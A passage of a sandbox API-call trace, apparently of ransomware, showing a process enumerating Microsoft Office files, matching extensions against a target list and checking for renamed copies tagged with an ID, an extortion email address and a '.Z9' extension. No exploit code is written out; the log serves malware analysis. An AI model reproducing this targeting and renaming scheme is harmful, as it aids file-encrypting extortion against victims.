	[0165.031] lstrlenW (lpString=".xlsx") returned 5
	[0165.031] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0165.031] lstrlenW (lpString=".ppt") returned 4
	[0165.031] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0165.031] lstrlenW (lpString="C:\\Program Files\\Java\\ride_australian.exe") returned 41
	[0165.031] lstrlenW (lpString=".zip") returned 4
	[0165.031] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0165.031] lstrlenW (lpString=".rar") returned 4
	[0165.031] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0165.031] lstrlenW (lpString=".bz2") returned 4
	[0165.031] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0165.031] lstrlenW (lpString=".7z") returned 3
	[0165.031] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0165.031] lstrlenW (lpString="C:\\Program Files\\Java\\ride_australian.exe") returned 41
	[0165.031] lstrlenW (lpString=".dbf") returned 4
	[0165.032] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0165.032] lstrlenW (lpString="C:\\Program Files\\Java\\ride_australian.exe") returned 41
	[0165.032] lstrlenW (lpString=".1cd") returned 4
	[0165.032] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0165.032] lstrlenW (lpString="C:\\Program Files\\Java\\ride_australian.exe") returned 41
	[0165.032] lstrlenW (lpString=".jpg") returned 4
	[0165.032] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0165.032] lstrcmpiW (lpString1=".EXE", lpString2=".Z9") returned -1
	[0165.032] lstrlenW (lpString="OSPPREARM.EXE") returned 13
	[0165.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0165.133] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=27200) returned 1
	[0165.133] CloseHandle (hObject=0x3e0) returned 1
	[0165.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20
	[0165.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0165.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0165.134] lstrlenW (lpString=".doc") returned 4
	[0165.134] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0165.134] lstrlenW (lpString=".docx") returned 5
	[0165.134] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1
	[0165.134] lstrlenW (lpString=".pdf") returned 4
	[0165.134] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0165.134] lstrlenW (lpString=".xls") returned 4
	[0165.134] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0165.134] lstrlenW (lpString=".xlsx") returned 5
	[0165.134] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1
	[0165.134] lstrlenW (lpString=".ppt") returned 4
	[0165.134] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0165.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0165.134] lstrlenW (lpString=".zip") returned 4
	[0165.134] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0165.134] lstrlenW (lpString=".rar") returned 4
	[0165.134] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0165.134] lstrlenW (lpString=".bz2") returned 4
	[0165.134] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0165.134] lstrlenW (lpString=".7z") returned 3
	[0165.134] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0165.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0165.134] lstrlenW (lpString=".dbf") returned 4
	[0165.134] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0165.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0165.134] lstrlenW (lpString=".1cd") returned 4
	[0165.135] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0165.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0165.135] lstrlenW (lpString=".jpg") returned 4
	[0165.135] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0165.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0165.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0165.135] lstrlenW (lpString=".doc") returned 4
	[0165.135] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0165.135] lstrlenW (lpString=".docx") returned 5
	[0165.135] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1
	[0165.135] lstrlenW (lpString=".pdf") returned 4
	[0165.135] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0165.135] lstrlenW (lpString=".xls") returned 4
	[0165.135] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0165.135] lstrlenW (lpString=".xlsx") returned 5
	[0165.135] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1
	[0165.135] lstrlenW (lpString=".ppt") returned 4
	[0165.135] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0165.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0165.135] lstrlenW (lpString=".zip") returned 4
	[0165.135] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0165.135] lstrlenW (lpString=".rar") returned 4
	[0165.135] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0165.135] lstrlenW (lpString=".bz2") returned 4
	[0165.135] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0165.135] lstrlenW (lpString=".7z") returned 3
	[0165.135] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0165.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0165.136] lstrlenW (lpString=".dbf") returned 4
	[0165.136] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0165.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0165.136] lstrlenW (lpString=".1cd") returned 4
	[0165.136] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0165.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56
	[0165.136] lstrlenW (lpString=".jpg") returned 4
	[0165.136] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0165.136] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.136] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31
	[0165.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0165.281] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=19648) returned 1
	[0165.281] CloseHandle (hObject=0x440) returned 1
	[0165.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220
	[0165.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0165.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0165.282] lstrlenW (lpString=".doc") returned 4
	[0165.282] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.282] lstrlenW (lpString=".docx") returned 5
	[0165.282] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.282] lstrlenW (lpString=".pdf") returned 4
	[0165.282] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.282] lstrlenW (lpString=".xls") returned 4
	[0165.282] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.282] lstrlenW (lpString=".xlsx") returned 5
	[0165.282] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.282] lstrlenW (lpString=".ppt") returned 4
	[0165.282] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0165.282] lstrlenW (lpString=".zip") returned 4
	[0165.282] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.282] lstrlenW (lpString=".rar") returned 4
	[0165.282] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.282] lstrlenW (lpString=".bz2") returned 4
	[0165.282] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.282] lstrlenW (lpString=".7z") returned 3
	[0165.283] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0165.283] lstrlenW (lpString=".dbf") returned 4
	[0165.283] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0165.283] lstrlenW (lpString=".1cd") returned 4
	[0165.283] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0165.283] lstrlenW (lpString=".jpg") returned 4
	[0165.283] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0165.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0165.283] lstrlenW (lpString=".doc") returned 4
	[0165.283] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.283] lstrlenW (lpString=".docx") returned 5
	[0165.283] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.283] lstrlenW (lpString=".pdf") returned 4
	[0165.283] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.283] lstrlenW (lpString=".xls") returned 4
	[0165.283] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.283] lstrlenW (lpString=".xlsx") returned 5
	[0165.283] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.283] lstrlenW (lpString=".ppt") returned 4
	[0165.283] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0165.283] lstrlenW (lpString=".zip") returned 4
	[0165.283] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.283] lstrlenW (lpString=".rar") returned 4
	[0165.284] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.284] lstrlenW (lpString=".bz2") returned 4
	[0165.284] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.284] lstrlenW (lpString=".7z") returned 3
	[0165.284] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0165.284] lstrlenW (lpString=".dbf") returned 4
	[0165.284] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0165.284] lstrlenW (lpString=".1cd") returned 4
	[0165.284] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77
	[0165.284] lstrlenW (lpString=".jpg") returned 4
	[0165.284] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.284] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.284] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23
	[0165.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69
	[0165.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69
	[0165.285] lstrlenW (lpString=".doc") returned 4
	[0165.285] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.285] lstrlenW (lpString=".docx") returned 5
	[0165.285] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0165.285] lstrlenW (lpString=".pdf") returned 4
	[0165.285] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.285] lstrlenW (lpString=".xls") returned 4
	[0165.285] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.285] lstrlenW (lpString=".xlsx") returned 5
	[0165.285] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0165.285] lstrlenW (lpString=".ppt") returned 4
	[0165.285] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69
	[0165.285] lstrlenW (lpString=".zip") returned 4
	[0165.285] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.285] lstrlenW (lpString=".rar") returned 4
	[0165.285] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.285] lstrlenW (lpString=".bz2") returned 4
	[0165.285] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.285] lstrlenW (lpString=".7z") returned 3
	[0165.286] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69
	[0165.286] lstrlenW (lpString=".dbf") returned 4
	[0165.286] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69
	[0165.286] lstrlenW (lpString=".1cd") returned 4
	[0165.286] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69
	[0165.286] lstrlenW (lpString=".jpg") returned 4
	[0165.286] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69
	[0165.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69
	[0165.286] lstrlenW (lpString=".doc") returned 4
	[0165.286] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.286] lstrlenW (lpString=".docx") returned 5
	[0165.286] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0165.286] lstrlenW (lpString=".pdf") returned 4
	[0165.286] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.286] lstrlenW (lpString=".xls") returned 4
	[0165.286] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.286] lstrlenW (lpString=".xlsx") returned 5
	[0165.286] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0165.286] lstrlenW (lpString=".ppt") returned 4
	[0165.286] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69
	[0165.287] lstrlenW (lpString=".zip") returned 4
	[0165.287] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.287] lstrlenW (lpString=".rar") returned 4
	[0165.287] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.287] lstrlenW (lpString=".bz2") returned 4
	[0165.287] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.287] lstrlenW (lpString=".7z") returned 3
	[0165.287] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69
	[0165.287] lstrlenW (lpString=".dbf") returned 4
	[0165.287] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69
	[0165.287] lstrlenW (lpString=".1cd") returned 4
	[0165.287] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll") returned 69
	[0165.287] lstrlenW (lpString=".jpg") returned 4
	[0165.287] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.287] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.287] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23
	[0165.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69
	[0165.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69
	[0165.288] lstrlenW (lpString=".doc") returned 4
	[0165.288] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.288] lstrlenW (lpString=".docx") returned 5
	[0165.288] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0165.288] lstrlenW (lpString=".pdf") returned 4
	[0165.288] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.288] lstrlenW (lpString=".xls") returned 4
	[0165.288] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.288] lstrlenW (lpString=".xlsx") returned 5
	[0165.288] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0165.288] lstrlenW (lpString=".ppt") returned 4
	[0165.288] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69
	[0165.288] lstrlenW (lpString=".zip") returned 4
	[0165.288] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.288] lstrlenW (lpString=".rar") returned 4
	[0165.288] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.288] lstrlenW (lpString=".bz2") returned 4
	[0165.288] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.288] lstrlenW (lpString=".7z") returned 3
	[0165.288] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69
	[0165.289] lstrlenW (lpString=".dbf") returned 4
	[0165.289] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69
	[0165.289] lstrlenW (lpString=".1cd") returned 4
	[0165.289] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69
	[0165.289] lstrlenW (lpString=".jpg") returned 4
	[0165.289] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69
	[0165.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69
	[0165.289] lstrlenW (lpString=".doc") returned 4
	[0165.289] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.289] lstrlenW (lpString=".docx") returned 5
	[0165.289] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0165.289] lstrlenW (lpString=".pdf") returned 4
	[0165.289] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.289] lstrlenW (lpString=".xls") returned 4
	[0165.289] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.289] lstrlenW (lpString=".xlsx") returned 5
	[0165.289] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0165.289] lstrlenW (lpString=".ppt") returned 4
	[0165.289] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69
	[0165.289] lstrlenW (lpString=".zip") returned 4
	[0165.289] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.289] lstrlenW (lpString=".rar") returned 4
	[0165.290] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.290] lstrlenW (lpString=".bz2") returned 4
	[0165.290] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.290] lstrlenW (lpString=".7z") returned 3
	[0165.290] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69
	[0165.290] lstrlenW (lpString=".dbf") returned 4
	[0165.290] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69
	[0165.290] lstrlenW (lpString=".1cd") returned 4
	[0165.290] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll") returned 69
	[0165.290] lstrlenW (lpString=".jpg") returned 4
	[0165.290] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.290] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0165.290] lstrlenW (lpString="AppVLP.exe") returned 10
	[0165.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0165.293] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=431664) returned 1
	[0165.294] CloseHandle (hObject=0x470) returned 1
	[0165.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe")) returned 0x220
	[0165.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56
	[0165.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56
	[0165.294] lstrlenW (lpString=".doc") returned 4
	[0165.294] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0165.295] lstrlenW (lpString=".docx") returned 5
	[0165.295] lstrcmpiW (lpString1=".docx", lpString2="P.exe") returned -1
	[0165.295] lstrlenW (lpString=".pdf") returned 4
	[0165.295] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0165.295] lstrlenW (lpString=".xls") returned 4
	[0165.295] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0165.295] lstrlenW (lpString=".xlsx") returned 5
	[0165.295] lstrcmpiW (lpString1=".xlsx", lpString2="P.exe") returned -1
	[0165.295] lstrlenW (lpString=".ppt") returned 4
	[0165.295] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0165.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56
	[0165.295] lstrlenW (lpString=".zip") returned 4
	[0165.295] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0165.295] lstrlenW (lpString=".rar") returned 4
	[0165.295] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0165.295] lstrlenW (lpString=".bz2") returned 4
	[0165.295] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0165.295] lstrlenW (lpString=".7z") returned 3
	[0165.295] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0165.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe") returned 56
	[0165.295] lstrlenW (lpString=".dbf") returned 4
	[0165.295] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
